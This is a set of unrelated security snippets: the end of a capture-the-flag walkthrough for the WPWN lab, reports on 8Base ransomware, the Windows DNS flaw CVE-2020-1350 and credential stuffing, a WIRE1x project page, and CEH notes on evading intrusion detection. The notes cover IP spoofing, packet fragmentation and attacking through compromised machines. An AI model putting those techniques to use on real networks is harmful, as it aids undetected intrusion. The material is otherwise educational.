There was a "root.txt" file in the "root" directory. But it seems that it is not the flag file, as can be seen in the message above. In the hint, the user means that the "root.txt" flag might be located in the USB files. So, let us dig in further.
Command used: << find . -name “root” 2>/dev/null >>
What should you learn next?
What should you learn next?
We decided to take help by using the "find" command to find all the directories that contained any file named "root." The result gave us a huge output; however, there was only one path that had the "USB" folder included. We opened the "root" file and from there and were able to finally read the flag.
Command used: << cat /usr/games/USB/root >>
In the above screenshot, we can see the root flag. This completes the challenge.
WordPress Plugin Social Warfare < 3.5.3 - Remote Code Execution, Exploit Database https://www.exploit-db.com/exploits/46794
Social Warfare <= 3.5.2 - Unauthenticated Remote Code Execution (RCE), WPSCAN https://wpscan.com/vulnerability/7b412469-cc03-4899-b397-38580ced5618
WPWN: 1, VulnHub https://www.vulnhub.com/entry/wpwn-1,537/
WPWN: 1 (download), VulnHub https://download.vulnhub.com/wpwn/wpwnvm.zip
WPWN: 1 (torrent), VulnHub https://download.vulnhub.com/wpwn/wpwnvm.zip.torrent |
Researchers have reported that the 8Base ransomware, which operated covertly for over a year, exhibited a significant increase in activity in May and June 2023. Employing encryption and "name-and-shame" tactics, 8Base targets victims across diverse industries. It has been linked to 67 attacks, primarily affecting businesses in the U.S. and Brazil, with sectors such as business services, manufacturing and construction being the most impacted.
The origins of 8Base remain elusive, but it has been active since at least March 2022 and describes itself as a group of "simple pentesters." Notably, similarities between 8Base and the RansomHouse group have been identified, including identical language in ransom notes and welcome pages.
Additionally, a sample of Phobos ransomware using the ".8base" file extension suggests a potential connection between 8Base and Phobos, or the utilization of existing ransomware strains. As part of a new wave of ransomware groups, 8Base operates alongside newcomers like Big Head, CryptNet, Mallox and Xollam.
Acronis Cyber Protect Cloud detects and blocks both existing and never-before-seen ransomware with its included Active Protection, based on the behaviors ransomware exhibits. |
Comprehensive software reviews to make better IT decisions
Microsoft (Finally) Patches DNS Vulnerability CVE-2020-1350
Microsoft has released a patch to address vulnerability CVE-2020-1350, a Windows DNS server remote code execution vulnerability. This vulnerability’s exploit is considered “wormable.” The vulnerability has also been in existence for the last 17 years.
The recently discovered DNS bug can be traced back as early as 2003. The CVE-2020-1350 entry was created on November 4, 2019, with the July 14, 2020, “Patch Tuesday” having finally addressed the 17-year-old bug. According to ZDNet, the vulnerability was assigned a CVSS (Common Vulnerability Scoring System) rating of 10, the highest level.
Think of DNS, or domain name service, as phonebook. Instead of punching in “John Smith” into your phone (assuming that John Smith isn’t in your contacts), you would look up John’s phone number and then dial that in. When you type in www.infotech.com, a query is sent to a DNS server that maps that machine name back to an IP address. It is the IP address (phone number, if you go back to the John Smith example) that your machine needs to connect to its destination.
The bug in question allows a malicious actor to send a large query type (over 64kb), which then creates a condition called “buffer overflow,” usually a situation that is remedied by the software. The bug prevents the remedying of that condition, resulting in the malicious actor having the ability to take control of the server. This means that someone other than John Smith can potentially intercept the phone calls, faxes, or snail mail (or worse: Amazon packages!) simply by changing the entry for “John Smith” and redirecting the “phone number” entry.
Now, apply this analogy back to the web address/machine name and IP address mapping and you can quickly see why this raises such alarming concern.
Thankfully, Microsoft has recently released a patch to address CVE-2020-1350. Our advice? Patch your servers without delay!
Many organizations’ vulnerability management or infrastructure release management programs maintain a regular cadence of patching. This allow organizations to prioritize the criticality of patches, test the patches to ensure that they don’t break anything, and then schedule the deployment of patches.
There is usually an expedited process and emergency change management process to deploy critical patches that cannot wait for the regular release management cycle. For organizations this applied to, the CVE-2020-1350 vulnerability should be at the top of the emergency change management list.
Want to Know More?
A vulnerability named CallStranger has been discovered, which exploits the Universal Plug-and-Play (UPNP) protocol used by billions of internet-connected devices. These devices are found in our homes, offices, shops, and factories. |
CEH Scanning Methodology - Scanning Beyond IDS
IDS Evasion Techniques
- Use fragemented IP packets.
- Spoof your IP address when launching attacks and sniff responses from server.
- Use source routing (if possible).
- Connect to proxy servers or compromised trojaned machine to launch attacks.
SYN/FIN Scanning Using IP Fragments (-f)
- It is not a new scanning method but a modification of the earlier methods.
- The TCP header is split into several packets so that the packet filters are not able to detect what the packets intend to do. |
WIRE1x is an open source implementation of IEEE 802.1x/802.11i client
(supplicant). The first version was released on June 18, 2003. It supports various EAP authentication methods and
encryption techniques. WIRE1x has been practically used on the campus
WLANs of National Tsing Hua University, and the Taiwan Academic Network
Roaming Center. It has been practically used in the real word
to secure WLAN environments. WIRE1x was one of the most important
implementations of IEEE 802.1x/802.11i supplicant. It has had a
widespread impact. The followings are some sources which quote WIRE1x.
Note: This is not a complete list. Only part of those written in English are listed. WIRE1x has also appeared in many websites and documents written in Chinese, France, Japanese, Korean, Spanish, etc.
Used or suggested to use by:
3rd-Party 802.1x Supplicants,
Feather Wi-Fi Services,
Feather Wi-Fi was provided by EarthLink, one of the largest high-speed
Internet service providers, to major cities in the United
States. WIRE1x was listed as one of the 3rd-party software to access
the Feather Wi-Fi networks until the Feather Wi-Fi was shut down in 2008. |
Spotify resets 350,000 passwords involved in a data breach – Auth0 comments on the rise of credential stuffing attacks
November 2020 by Auth0
Researchers have found an unsecured internet-facing database containing over 380 million individual records, including login credentials that were used to break into 300,000 to 350,000 Spotify accounts. Spotify has since issued a rolling password reset to some user accounts. According to researchers, the origins of the database are unknown, but it does not belong to the music streaming service itself. Instead, the third-party that created the database may have collated the records from other sources — such as stolen data dumps or another platform — for later use to hijack user accounts.
Matias Woloski, CTO and Co-founder, Auth0, has made the following comments on the recent rise in credential stuffing attacks, and what organisations can do to mitigate the risk:
“At Auth0, we’re in a unique position as an aggregator of identity and login data, to see massive trends across our customer base. Today, roughly 67% of our authentication traffic is deemed suspicious, meaning, it looks like application fraud. The use of stolen credentials is one of the most common methods used in observed data breaches.
“Credential stuffing is when attackers take credentials that have been leaked in one data breach and try them en masse against other websites to find combinations that are reused, so they can take over user accounts. Attackers do this in an automated fashion, so that they can try thousands of credentials over time. It’s really a numbers game. If 0.01% of a massive list of credentials are reused on a second website, you can still take over a significant number of accounts.
“Most of the problems that enable credential stuffing attacks have been around for a long time. What’s really going to change is how we address these attacks, because they are going to become more imperative. We need to take mitigation techniques like MFA that introduce more friction and make them smarter. In an ideal world, a customer only encounters more friction occasionally when it’s more necessary. Instead of triggering MFA every time a user logs in, trigger it only when it makes sense. If you’re a UK company and most of your user base is in the UK or Europe, but you see huge spikes in traffic from Vietnam or Thailand, ask for additional verification.” |
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